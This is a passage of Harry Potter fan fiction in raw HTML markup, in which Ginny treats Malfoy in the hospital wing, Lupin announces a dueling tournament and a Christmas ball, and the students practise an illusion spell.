class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny sighed in frustration when she saw Malfoy come into\nthe Wing. &#8220;Geeze,&#8221; She put her hands on her hips. &#8220;It&#8217;s not even noon yet, <i style="mso-bidi-font-style:normal">what\n</i>are you guys <i style="mso-bidi-font-style:normal">doing</i> in that\nclass?&#8221; Despite her outburst, she still walked over to them and helped Malfoy\nonto a bed. Hermione instantly walked over to Harry and slipped into the closed\ncurtains around him. Ginny was about to protest, but sighed and shook her head.\nTurning her attention to the boy in front of her, she pondered his predicament.\n&#8220;You look pretty bad.&#8221; She told his dazed state. &#8220;Stay here, I&#8217;ll be right\nback.&#8221; She grinned as she left; knowing it probably irked him for her to tell\nhim to stay put when he had to be helped in there to begin with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She returned a few moments later with a needle and a few\nthings next to it on a tray. She sat the supplies down next to him. &#8220;I have to\nput this directly into your blood so it&#8217;ll stop that rash from spreading.&#8221; She\nexplained while sucking up some thick looking potion with the syringe. After\nlooking into his scared eyes, she softened. &#8220;I won&#8217;t lie to you, this will hurt\nreally bad&#8230; you want to take something that will numb your arm?&#8221; Malfoy tried\nto keep some of his dignity, but found that he couldn&#8217;t quite speak. &#8220;It&#8217;s\nokay.&#8221; Ginny said soothingly, picking up something else and making him drink\nit. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Satisfied that he kept it all down; she ran a heavily\nsaturated cloth on his arm. He instantly found it to be numb. Ginny smiled\nhappily to herself and picked up the needle. &#8220;Just a little prick and a little\nsting.&#8221; She said, grinning. She eased it into his arm and watched him grit his\nteeth. A full seven seconds later she took it out and put a bandage onto his\narm. &#8220;That wasn&#8217;t so bad was it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy shook his head no, but was obviously in a great\namount of pain. Ginny put the supplies up and seeing that Harry and Hermione\nwere happily in conversation, she walked back over to Malfoy with nothing\nbetter to do.&nbsp; &#8220;It works fast, doesn&#8217;t\nit?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; He agreed, nodding. &#8220;Didn&#8217;t think he had it in him\nto do a curse like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not that bad, but you, like the proud idiot you are,\ndidn&#8217;t seek aid after words.&#8221; He opened his mouth to speak, but Ginny shushed\nhim by putting a finger on his lips. &#8220;Malfoy, sometimes in life you have to let\nyour pride go and do what&#8217;s right.&#8221; She took her finger back and smiled at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy sighed and lay back fully on his pillow. &#8216;<i style="mso-bidi-font-style:normal">This is so weird.</i>&#8217; He thought to himself\nwhile half heartedly listening to Ginny ramble. &#8216;<i style="mso-bidi-font-style:\nnormal">Christina, why is she helping me?</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">It could be because\nshe doesn&#8217;t like seeing other people hurt.</i>&#8221; A voice whispered into his\nmind. &#8220;<i style="mso-bidi-font-style:normal">Unlike the people you are so\nfamiliar with, there are, in fact, people out there who like to help others\nwith nothing being given in return.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmmmmm&#8230;&#8230;.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy opened his eyes. &#8220;I was thinking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About?&#8221; She cocked her head to the side curiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That doesn&#8217;t tell me much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m terribly sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She scrunched up her eyebrows. &#8220;You don&#8217;t have to be mean to\nme, I don&#8217;t judge you, remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He sighed. &#8220;But you give me one hell of a headache.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You take pride in arousing my emotions don&#8217;t you?&#8221; He spoke\naloud, as if just realizing it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You always act so cold and mean.&#8221; She replied, picking up his\nhand and checking his pulse with her watch. &#8220;It&#8217;s nice to see you open up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me,&#8221; He judged his words. &#8220;Why? I&#8217;ve been no less than\ncruel to both you and your friends. Why should you give a damn about me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny swatted his hand. &#8220;Don&#8217;t use that language with me.&#8221;\nHe actually looked shocked and obviously made a mental note not to curse in\nfront of her. &#8220;As for your answer, you talk in your sleep.&#8221;<i style="mso-bidi-font-style:\nnormal"></i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wha-?&#8221; He simply looked amazed. &#8220;I do <i style="mso-bidi-font-style:\nnormal">not</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes you do.&#8221; She bit back a laugh</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No I-&#8221; He stopped and shook his head. &#8220;<i style="mso-bidi-font-style:\nnormal">What</i> does that have to do with this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly Ginny softened and looked down. &#8220;You were crying&#8230;&#8221;\nShe said after a while. &#8220;You called for help&#8230;&#8221; Slowly she looked up and into\nhis shocked and humiliated face. &#8220;Draco, anyone who can dream like that needs\nsomeone to look after them.&#8221; He was about to protest, but she cut him off,\nrealizing it was becoming a habit. &#8220;You push people away. Just once, maybe you\nshould let someone in?&#8221; And with that, she stood and walked away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy stared after her for the longest while. Finally, he\nbrought a hand to his head and rubbed the bridge of his nose. &#8220;I hate her. She\ngives me <i style="mso-bidi-font-style:normal">such</i> a headache.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">There, there, dear.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, Harry, may I talk to you?&#8221; Lupin grabbed Harry&#8217;s\nshoulder as he passed by in the hallway later that day. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um, sure professor.&#8221; He agreed, looking worried. &#8220;Um, what\ndid I do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This caused him to laugh. &#8220;Nothing, nothing, are you free\nnow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you write me a slip so I can miss Divination?&#8221; He tried\nhopefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get to class and report to my office after words.&#8221; He\ngrinned. &#8220;And could you bring the book of thoughts?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Er, sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I bet you&#8217;re wondering why I asked for the book, huh\nHarry?&#8221; Professor Lupin asked, holding it up and moving it slightly. When he\nreceived a nod, he went on. &#8220;You see, Sirius and me would like a way to talk to\neach other in real time without the need of a fireplace.&#8221; He sat down casually\non his desk. &#8220;Would you terribly mind me borrowing this for a while until we\ncan copy it magically? I would be a great help.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, sure.&#8221; Harry nodded. &#8220;By the way&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sirius is fine, Harry.&#8221; He shook his head amusingly. &#8220;You\ntwo think so much alike it&#8217;s scary sometimes.&#8221; Lupin opened the book to the\nsecond page and smirked. &#8220;Haven&#8217;t used it much have you?&#8221; He read the two\nsentences just as Harry realized that the words didn&#8217;t erase. &#8220;Oh, my, my.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not what you think!&#8221; Harry stood and held out his\nhands. &#8220;Listen to me! It&#8217;s, well, you see&#8230;&#8221; Suddenly it dawned on him that he\ncouldn&#8217;t quite explain the situation without making Hermione look bad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re seventeen, Harry.&#8221; The old Marauder said, waving it\noff. &#8220;What you do is none of my business&#8230; although Sirius would sure like to\nhear about it&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh sweet Merlin&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Professor Lupin looked at the six groups in front of him\nwith a steady expression on his face. Slowly he walked in front of them.\n&#8220;Class,&#8221; He began as he walked. &#8220;I am pleased to announce that a decision has\nbeen made between the school board and myself.&#8221; A few murmurings came up at\nthis, but Lupin kept going. &#8220;We are to hold a tournament here at Hogwarts.&#8221; The\nroom fell silent. &#8220;What kind, you ask?&#8221; He grinned. &#8220;A Sorcerer&#8217;s Circle\nchampionship.&#8221; The class erupted into questions, but Lupin raised his hand.\n&#8220;Now, now, let me finish before you ask.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You see, class, there will be eleven rounds. Double\nelimination. You will fight other teams. Some rounds will be one on one, others\nmay be team matches. It will start January. Now, specific questions, please?&#8221; Several\npeople raised their hands, but he picked out Hermione. &#8220;Yes, Ms. Granger?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She beamed at being first at being called. &#8220;Professor, what\nis the reason of this tournament?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A very good question.&#8221; He agreed. &#8220;The winners of this\ntournament will undoubtly be the best and most dangerous wizards in the school\n of Hogwarts. To the winners and\nrunners up, jobs as aurours. Well paid jobs.&#8221; This seemed to satisfy her so he\nturned to another student. &#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Privet or public?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, yes,&#8221; Lupin nodded. &#8220;You will be fighting on the\nquidditch pitch. No, quidditch will not be cancelled.&#8221; This pleased most\npeople. &#8220;But, the stage will be most different. You will fight on an enchanted\nstage. This stage will change shape to a different terrain for each match. You\nwill not always fight an enemy on straight flat ground in the real world.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An example please?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Raise your hand before asking a question.&#8221; Lupin scolded in\na firm yet understanding voice. Harry nodded, a little embarrassed but\notherwise unhurt. &#8220;Let&#8217;s say, for example of course, you were to stand on the\nstage for your match. At first it will look like a large circular stone slab,\nbut it will change five seconds before you start. It could be anything. From a\nforest, to a gauntlet, to fighting on clouds hovering several yards above the\nground. You never know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron raised his hand and was called on. &#8220;How big is this\nstage anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Big enough to not worry about being disqualified by being\nthrown off.&#8221; He confirmed. &#8220;Any other questions?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, professor.&#8221; A female voice rang up. It was Cho Chang.\n&#8220;How do you win?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;With the exception of being thrown off the ring, there are\na few ways. Your opponent can become unable to continue, or be grounded for ten\nseconds. In the event that you fight off the ground, the first to touch the\nfloor looses. Don&#8217;t worry; each match will state the rules.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The students looked at each other, still a little unsure.\n&#8220;Fighting in a tournament in front of the entire school?&#8221; Harry whispered to\nRon, who looked a little nervous himself. &#8220;I dunno, mate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll be fine.&#8221; Ron whispered back. &#8220;But I don&#8217;t know\nenough spells to cover myself. What if I get a stage I can&#8217;t deal with?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please.&#8221; Harry grinned. &#8220;You and me never lose! We&#8217;ll work\nhard together and win this thing!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron grinned and was about to respond when Hermione elbowed\nHarry and gave a quiet &#8216;shush&#8217;. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There will be a Christmas ball to celebrate the start of\nthe tournament. It will be held December twenty-fifth. Christmas night. The team\ncaptains will introduce themselves to the school and start the ball with a\ndance with the boy/girl he/she wishes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned. &#8216;<i style="mso-bidi-font-style:normal">I hate\ndances.</i>&#8217; He thought to himself miserably. &#8216;<i style="mso-bidi-font-style:\nnormal">I can&#8217;t even slow dance. I just barely got by with the single dance I\nhad all those years back&#8230;</i>&#8217; Harry knew that his slow dancing skills needed\nwork, but at least he had perfected the fast dance moves Ron had showed him\nover the summers. At least the twins were good for <i style="mso-bidi-font-style:\nnormal">something</i>. Partying all the time at clubs sure turned out to be\ngood news for Ron and Harry; as they were taught the proper way to &#8216;pick up\nchicks&#8217; by dancing cool.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The boy-who-lived turned to Ron, but found his friend in a\ndaze, no doubt running over his L33T dancing Skillz in his head. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now!&#8221; Lupin snagged Harry&#8217;s attention. &#8220;That is almost a\nmonth and a half away, so let&#8217;s begin class with some new spells! Divide up\nnow!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Marauders walked over to their training section. A blue\nhaze went around them, blocking off a round 20 yards around them. &#8220;So what&#8217;s up\nfirst?&#8221; Ron asked, drawing his wand and stepping up to the white mark on the\nground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Says here, the illusion curse.&#8221; Hermione said, reading from\nthe Sorcerer&#8217;s handbook that Lupin issued out. &#8220;You know it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do.&#8221; Harry nodded, stepping up to the other mark.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t.&#8221; Ron sighed and walked over to Hermione to share\nthe book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do.&#8221; Ginny stepped up to replace Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do as well.&#8221; Malfoy agreed, leaning against the wall with\none knee bent and foot flat on the wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seeing that Ron was looking depressed, Hermione smiled\nsheepishly. &#8220;I don&#8217;t know it.&#8221; She admitted, smiling lightly at Ron. &#8220;Ron,\nwanna study it with me while they practice?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seeing that his best female friend didn&#8217;t know it either,\nRon smiled triumphantly. &#8220;Sure, Herms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned at Ginny and bowed. Ginny bowed back with a\nsmile. Since this wasn&#8217;t an offensive spell, Malfoy stepped up to a third white\nmarking on the ground and took his bow as well. There was a pentagram drawn on\nthe floor in red and each point held a mark. The three were standing in an\nalmost triangle formation. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me first.&#8221; Ginny said with a happy voice. Gracefully she\ntook her wand from her robe and held it in the air. &#8220;Triplues exceedious&#8221; A\nflash temporarily blinded the boys and when they could see again, there were\nthree Ginnys before them. &#8220;Well?&#8221; All three chorused at the same time. &#8220;What do\nyou think?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As if one wasn&#8217;t bad enough.&#8221; Malfoy smirked. Although\nsounding mean, Ginny knew that it was his own special way of saying he was\nimpressed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, on the other hand, had no shame in clapping softly in\ncongratulation. &#8220;Very nice, Gin. Flawless even.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy held up his wand. &#8220;My turn,&#8221; He stated. A flash\nerupted and when it cleared, Ginny&#8217;s clones were gone and there were two more\nMalfoys standing next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As if one wasn&#8217;t bad enough.&#8221; Ginny said with a sickenly\ncute smile. Harry erupted into laughter while Malfoy looked quite amused at\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dear Sweet Merlin, being around me is starting to rub off.&#8221;\nHe said with a small lopsided smirk. &#8220;God help us all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny beamed at him. &#8220;Did you just make a <i style="mso-bidi-font-style:normal">joke</i>, Draco!?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked amazed while Ron was considering beating him up\nfor talking to his sister. Hermione was still reading, completely and\nblissfully missing the exchange. Malfoy was getting a little uneasy at the\nlooks. &#8220;What?&#8221; He asked, looking back and forth at the people in front of him.\nHis clones popped out of existence just as he crossed his arms. &#8220;I can&#8217;t make a\njoke that doesn&#8217;t involve Potter as the butt of it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head and, to his amazement, let out a small\nchuckle. &#8220;My turn.&#8221; He closed his eyes and crossed his arms at the wrist in\nfront of him. There was a bright flash, followed by a yelp of pain. When he\nopened his eyes again, he saw the worried faces of his three best friends and a\nsmug looking Malfoy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, well, mess up did we?&#8221; The Slythern asked, arching an\neyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You okay, Harry?&#8221; Hermione asked voice a little shaky.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s fine.&#8221; Ron stated, helping him up. &#8220;Takes more than\nthat to get Harry here down. Isn&#8217;t that right, mate?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,&#8221; He agreed, stammering over to sit down a moment.\n&#8220;Lost my concentration, that&#8217;s all it is.&#8221; He leaned forward and rested his\nhead in his hands. &#8220;You guys go ahead, I&#8217;m gonna take a moment to gather my\nthoughts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure thing.&#8221; Ron stepped up to the pentagram and held up\nhis wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry closed his eyes and took in a steadying breath. &#8216;<i style="mso-bidi-font-style:normal">What did I do wrong?</i>&#8217; He asked his inner\nself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">You tried to copy\nsomething of strict magical power.</i>&#8221; His dragon friend answered him with\namusement. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">But&#8230; Malfoy&#8217;s ring&#8230;</i>&#8217;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">If you would pay more\nattention, dear, you would have noticed he didn&#8217;t dupe his ring.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&#8216;Learn something new\nevery day.</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">Yes, you do. At least\nyou </i>should<i style="mso-bidi-font-style:normal">. That last potions grade was\nembarrassing, Harry. I want you to study before you go to sleep tonight.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">Awwww</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">Don&#8217;t you &#8216;awww&#8217; me,\nMister Man. I refuse to do your work for you. I&#8217;ll teach you all the dragon\nmagic you want but I will </i>not<i style="mso-bidi-font-style:normal"> let you\ncheat in your classes.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You okay, Harry?&#8221; Hermione asked, kneeling down before him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up. &#8220;Huh? Yeah, why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve been thinking for almost seven minutes now. We\ndecided to just move on to the next spell for today. You up to it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p 